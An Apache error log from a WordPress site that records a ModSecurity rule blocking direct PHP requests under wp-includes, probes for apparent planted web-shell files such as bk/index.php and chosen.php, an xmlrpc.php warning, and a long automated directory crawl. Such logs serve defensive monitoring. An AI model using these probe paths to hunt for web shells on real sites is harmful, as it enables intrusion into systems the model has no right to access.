[Tue Nov 25 02:28:53.446738 2025] [:error] [pid 48599:tid 48610] [client 142.111.152.60:51979] [client 142.111.152.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aSSj5Zzvu6PDJiRKE3KAQgAAAYc"]
[Tue Nov 25 02:29:19.213006 2025] [:error] [pid 16549:tid 16554] [client 155.2.215.77:62091] [client 155.2.215.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSSj_6eWW19A99PUw_eP_AAAAUI"]
[Tue Nov 25 02:29:40.056229 2025] [autoindex:error] [pid 49900:tid 49907] [client 142.111.152.171:61871] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:52.603896 2025] [autoindex:error] [pid 49900:tid 49916] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:55.821696 2025] [autoindex:error] [pid 49900:tid 49909] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:57.233323 2025] [autoindex:error] [pid 49900:tid 49920] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:58.041608 2025] [autoindex:error] [pid 49900:tid 49905] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:58.522354 2025] [autoindex:error] [pid 49900:tid 49907] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:29:59.036093 2025] [autoindex:error] [pid 49900:tid 49923] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:30:00.004805 2025] [autoindex:error] [pid 49900:tid 49919] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:30:01.017966 2025] [autoindex:error] [pid 49900:tid 49915] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:30:02.035190 2025] [autoindex:error] [pid 49900:tid 49925] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:30:03.032802 2025] [autoindex:error] [pid 49900:tid 49921] [client 142.111.152.171:61871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:30:23.952312 2025] [autoindex:error] [pid 9630:tid 9632] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:47.364297 2025] [autoindex:error] [pid 9630:tid 9655] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:48.042620 2025] [autoindex:error] [pid 9630:tid 9642] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:50.618746 2025] [autoindex:error] [pid 9630:tid 9640] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:52.237059 2025] [autoindex:error] [pid 9630:tid 9635] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:54.944493 2025] [autoindex:error] [pid 9630:tid 9638] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:55.694305 2025] [autoindex:error] [pid 9630:tid 9654] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:31:56.171589 2025] [autoindex:error] [pid 9630:tid 9643] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:01.105380 2025] [autoindex:error] [pid 9630:tid 9647] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:05.185480 2025] [autoindex:error] [pid 9630:tid 9635] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:08.847923 2025] [autoindex:error] [pid 9630:tid 9633] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:12.709174 2025] [autoindex:error] [pid 9630:tid 9634] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:13.272172 2025] [autoindex:error] [pid 9630:tid 9643] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:14.875192 2025] [autoindex:error] [pid 9630:tid 9656] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:20.129309 2025] [autoindex:error] [pid 9630:tid 9639] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:20.619698 2025] [autoindex:error] [pid 9630:tid 9646] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:21.076238 2025] [autoindex:error] [pid 9630:tid 9655] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:21.496352 2025] [autoindex:error] [pid 9630:tid 9645] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:32:22.030466 2025] [autoindex:error] [pid 9630:tid 9644] [client 142.111.152.182:48385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:33:57.924856 2025] [autoindex:error] [pid 48601:tid 48680] [client 155.2.215.94:35569] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:07.733073 2025] [autoindex:error] [pid 48600:tid 48640] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:18.722406 2025] [autoindex:error] [pid 48600:tid 48632] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:19.157170 2025] [autoindex:error] [pid 48600:tid 48647] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:27.671487 2025] [autoindex:error] [pid 48600:tid 48651] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:28.157756 2025] [autoindex:error] [pid 48600:tid 48650] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:28.671983 2025] [autoindex:error] [pid 48600:tid 48654] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:30.338653 2025] [autoindex:error] [pid 48600:tid 48640] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:30.971262 2025] [autoindex:error] [pid 48600:tid 48638] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:31.802442 2025] [autoindex:error] [pid 48600:tid 48630] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:32.218951 2025] [autoindex:error] [pid 48600:tid 48639] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:32.688022 2025] [autoindex:error] [pid 48600:tid 48636] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:33.219312 2025] [autoindex:error] [pid 48600:tid 48648] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:35:34.613845 2025] [autoindex:error] [pid 48600:tid 48652] [client 155.2.215.78:33937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:36:14.490773 2025] [autoindex:error] [pid 48599:tid 48608] [client 155.2.215.94:54195] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:37:03.014492 2025] [autoindex:error] [pid 16549:tid 16554] [client 142.111.152.184:64605] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:37:03.652271 2025] [autoindex:error] [pid 16549:tid 16565] [client 142.111.152.184:64605] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:37:39.860525 2025] [autoindex:error] [pid 16549:tid 16560] [client 142.111.152.184:64605] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:37:53.989259 2025] [autoindex:error] [pid 16549:tid 16576] [client 142.111.152.184:64605] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:03.354651 2025] [autoindex:error] [pid 16549:tid 16553] [client 142.111.152.184:64605] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:05.630022 2025] [:error] [pid 48688:tid 48696] [client 74.208.186.159:53166] [client 74.208.186.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.208.186.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSmDRm2q1FkzLam7A0CVQAAAkQ"]
[Tue Nov 25 02:38:22.705927 2025] [autoindex:error] [pid 16593:tid 16615] [client 142.111.152.68:22081] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:32.411578 2025] [autoindex:error] [pid 48599:tid 48618] [client 142.111.152.64:21195] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:37.240617 2025] [autoindex:error] [pid 48599:tid 48604] [client 142.111.152.64:21195] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:47.965090 2025] [autoindex:error] [pid 16441:tid 16446] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 02:38:48.744100 2025] [autoindex:error] [pid 16441:tid 16450] [client 142.111.152.63:45937] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
